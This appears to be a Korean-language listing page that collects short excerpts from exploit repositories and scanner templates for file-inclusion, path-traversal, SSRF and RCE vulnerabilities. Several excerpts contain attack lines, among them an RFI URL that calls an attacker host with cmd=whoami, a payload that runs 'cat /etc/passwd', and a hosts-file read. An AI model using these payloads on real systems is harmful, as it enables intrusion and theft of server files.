strelka

Releasesrelease | Documentationwiki | Pull Requestspr | Issuesissues !GitHub releaseimg-version-badgerepo !Build Statusimg-actions-badgeactions-ci !Pull Requestsimg-pr-badgepr !Slackimg-slack-badgeslack !Licenseimg-license-badgelicense Strelka is a real-time, container-based file scanning system...

CVE-2022-39838

CVE-2022-39838 제안 설명 Systematica FIX Adapter ALFAFX 2.4.0.25 2017년 9월 13일 빌드는 UNC 공유 경로명을 통한 원격 파일 포함을 허용하며, 또한 절대 경로를 통한 로컬 경로명 접근도 허용합니다. 추가 정보 PoC: http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts...

CVE-2020-17518

Apache Flink 디렉터리 탐색 취약점, REST API를 통해 원격 파일 읽기/쓰기 취약점 번호: CVE-2020-17518 취약점 설명: CVE-2020-17518: REST API를 통한 원격 파일 쓰기 영향을 받는 버전: Flink 1.5.1-1.11.2 안전 버전: Flink 1.11.3 또는 Flink 1.12.0 Flink 1.5.1은 REST API를 도입했으며, 악의적으로 조작된 HTTP HEADER를 통해 임의의 파일을 파일 시스템의 임의의 위치에 복사할 수 있습니다. 사용법: 단일: python...

CVE-2026-40987

CVE-2026-40987: Spring Integration 원격 파일 동기화 Path Traversal PoC 이 저장소는 Spring 공식 보안 권고문으로 공개된 CVE-2026-40987의 최소 재현 PoC입니다. 공식 권고문: https://spring.io/security/cve-2026-40987/ 공식 제목: Remote-file synchronizer in Spring Integration writes server-supplied filename under localDirectory without...

CVE-2024-2961-Remote-File-Read

CVE-2024-2961 원격 파일 읽기 이 스크립트는 CVE-2024-2961 에 설명된 대로 iconv 라이브러리가 문자 인코딩 변환을 잘못 처리할 때 해당 취약점을 악용하는 방법을 보여줍니다. PHP 필터 체인과 결함이 있는 인코딩 처리를 이용하여 공격자가 서버에서 임의의 파일을 읽을 수 있게 합니다. 이 스크립트는 조작된 페이로드를 업로드하고 결과 파일을 검색한 다음 그 내용을 표시하는 과정을 자동화합니다. 다음 문서에 자세히 설명된 연구를 기반으로 합니다: Iconv CVE-2024-2961: 문자 인코딩 변환 악용...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - 워드프레스 플러그인 Canto 을 작성하면 원격으로 코드를 실행할 수 있습니다. http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wpabspath=http://192.168.1.33:8080&cmd=whoami !imagehttps://assets.kitploit.com/p...

auto-cve-2022-44268.sh

auto-cve-2022-44268 CVE-2022-44268 ImageMagick 임의 파일 읽기 자동화 원본 발견: https://www.metabaseq.com/imagemagick-zero-days/ PoC 저장소: https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC 설명 ImageMagick은 "profile" 텍스트 문자열을 파일 이름 으로 해석 하고, 해당 콘텐츠를 원시 프로필로 로드 한 다음, 공격자가 리모트 파일의 콘텐츠를 포...

CVE-2017-11882

CVE-2017-11882 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 연구: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about 패치 분석:...

nmap-CVE-2023-23333-exploit

nmap-CVE-2023-23333-exploit Solarwinds CVE-2023-23333 취약점을 이용하여 원격 시스템에서 /etc/passwd를 덤프하는 Nmap NSE 스크립트 스크립트를 solar-CVE-2023-23333.nse라는 파일로 저장하세요. 스크립트를 실행하려면 Nmap의 --script-args 옵션을 사용하여 출력 파일 경로를 제공할 수 있습니다: nmap -p --script solar-CVE-2023-23333.nse --script-args outputfile=/path/to/output.tx...

W&B Weave Server - Remote Arbitrary File Leak

The Weave server API allows remote users to fetch files from a specific directory, but due to a lack of input validation, it is possible to traverse and leak arbitrary files remotely. In various common scenarios, this allows a low-privileged user to assume the role of the server admin. id:...

Onair2 < 3.9.9.2 & KenthaRadio < 2.0.2 - Remote File Inclusion/Server-Side Request Forgery

Onair2 3.9.9.2 and KenthaRadio 2.0.2 have exposed proxy functionality to unauthenticated users. Sending requests to this proxy functionality will have the web server fetch and display the content from any URI, allowing remote file inclusion and server-side request forgery. id: CVE-2021-24472 info...

Netmask NPM Package - Server-Side Request Forgery

Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the...

Dify v1.6.0 - Server-Side Request Forgery

Dify v1.6.0 contains a server side request forgery caused by improper validation in controllers.console.remotefiles.RemoteFileUploadApi, letting attackers make arbitrary requests from the server, exploit requires network access. id: CVE-2025-56520 info: name: Dify v1.6.0 - Server-Side Request...

CVE-2019-9978

CVE-2019-9978 CVE-2019-9978 - PoC Social WarFare 플러그인에서의 RCE system'cat /etc/passwd' 파일명 payload.txt로 저장하고 서버에 업로드하세요. URI는 다음과 같아야 합니다: https://yoursite.com/payload.txt. 마지막으로, --target과 --payload-uri 옵션을 제공하세요: $ python cve-2019-9978.py --target http://vulntarget.com \ --payload-uri...

CVE-2024-24919-Sniper

CVE-2024-24919-Sniper 개요 CVE-2024-24919 Sniper는 Check Point Security Gateway 정보 노출Information Disclosure 취약점을 스캔하도록 설계된 Python 스크립트입니다. 이 스크립트는 단일 대상 및 대량 스캔을 모두 수행할 수 있으며, 멀티스레딩을 활용하여 스캔 속도를 향상시킵니다. 대상과 스캔 동작을 지정하기 위한 다양한 명령줄 옵션을 지원합니다. 기능 CVE-2024-24919 취약점 스캔 및 악용 단일 대상 및 대량 스캔 지원 향상된 성능을 위한...

CVE-2023-3452---WordPress-Canto-Plugin-RCE

CVE-2023-3452 - WordPress Canto 플러그인 RCE WordPress Canto 플러그인 ≤ 3.0.4 RFI 취약점에 대한 익스플로잇입니다. 실제로 HTTPS에서 작동합니다 — 다른 공개 PoC는 SSL에서 포기하는 편이었습니다. 공로는 마땅히 인정해야 합니다: 이 CVE는 다른 사람들이 발견했습니다. 저는 HTTPS 대상에서도 작동하는 버전을 만들었을 뿐입니다. 취약점 | ---|--- CVE| CVE-2023-3452 EDB-ID| 51826 유형| 원격 파일 포함 RFI → 인증 없는 RCE 영향 ...

CVE-2009-4623

CVE-2009-4623 Advanced Comment System 1.0 리버스 셸 Advanced Comment System 1.0의 여러 PHP 원격 파일 포함 취약점으로 인해, 원격 공격자가 advancedcommentsystem/ 디렉터리 내의 1 index.php 및 2 admin.php에 대해 ACSpath 매개변수에 URL을 제공하여 임의의 PHP 코드를 실행할 수 있습니다. 참고: 이 취약점은 관리자가 install.php의 설치 지침을 따르지 않은 경우에만 발생할 수 있습니다...

CVE-2007-3831

CVE-2007-3831 ISS Proventia Network IPS GX5108 1.3 및 GX5008 1.5의 main.php에서 PHP 원격 파일 포함 취약점 Exploit-db 게시물: https://www.exploit-db.com/exploits/30290/ Exploit-db 문서 : https://www.exploit-db.com/docs/english/13081-having-fun-with-proventia-gx5108-&-gx5008-insecurities.pdf Git 저장소:...

esm.sh <= v136 - Local File Inclusion

esm.sh = 136 contains a local file inclusion caused by improper URL handling, letting attackers read arbitrary files from the host filesystem remotely, exploit requires crafted request. id: CVE-2025-59341 info: name: esm.sh = v136 - Local File Inclusion author: 0xAkoko severity: high description:...

Joomla! Component Visites 1.1 - MosConfig_absolute_path Remote File Inclusion

A PHP remote file inclusion vulnerability in core/include/myMailer.class.php in the Visites comjoomla-visites component 1.1 RC2 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter. id: CVE-2010-2918 info: name: Joomla! Component Visit...